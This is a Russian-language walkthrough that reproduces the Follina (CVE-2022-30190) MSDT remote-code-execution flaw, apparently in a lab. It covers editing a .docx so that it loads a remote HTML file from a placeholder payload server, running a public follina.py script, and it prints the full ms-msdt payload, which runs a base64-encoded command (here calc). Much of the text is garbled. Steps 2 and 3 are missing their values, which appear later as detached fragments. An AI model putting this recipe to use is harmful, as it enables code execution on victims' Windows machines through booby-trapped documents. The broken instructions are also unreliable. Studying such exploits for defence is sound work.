
Пошаговое руководство по воспроизведению уязвимости удаленного выполнения кода CVE-2022-30190 (Follina) MSDT, включая создание вредоносного документа и настройку C2-сервера.
также известная как Follina
Follina существует в средстве диагностики поддержки Microsoft (Microsoft Support Diagnostic Tool, MSDT). Когда приложение вызывает MSDT через протокол URL для поддержки, возникает уязвимость удаленного выполнения кода. Успешная эксплуатация позволяет злоумышленнику выполнить произвольный код с правами запущенного приложения.
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
Шаг 1 Создайте Word-документ (.docx) и вставьте в него OLE-объект (например, Bitmap Image)
Шаг 2 Распакуйте .docx файл, отредактируйте файл word/_rels/document.xml.rels в папке, измените выделенное желтым на рисунке ниже значение Target="embeddings/oleObject1.bin" на
и добавьте атрибут .
Шаг 3 Отредактируйте файл в папке, измените выделенное желтым на рисунке ниже значение на и добавьте атрибут .
Шаг 4 Используйте 7-zip, чтобы открыть .docx файл (не распаковывая) и поместите два указанных файла обратно в .docx. Вредоносный документ готов.
Target = "http://<payload_server>/<random_name>.html!"TargetMode = "External"
word/document.xmlType="Embed"Type="Link"UpdateMode="OnCall"
Скачайте Follina.py, опубликованный John Hammond. Здесь в качестве примера используется простой вызов калькулятора:
python3 follina.py -c calc.exe -i eth0
В файле Follina.py строки 117-125 отвечают за создание вредоносной полезной нагрузки (.html). Содержание: <script>location.href... — это скрипт, который запускает калькулятор на машине жертвы. Весь файл также заполняется большим количеством случайных символов, чтобы его размер составлял минимум 4096 байт. Причину можно узнать по ссылке “Follina” MSDT Attack
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script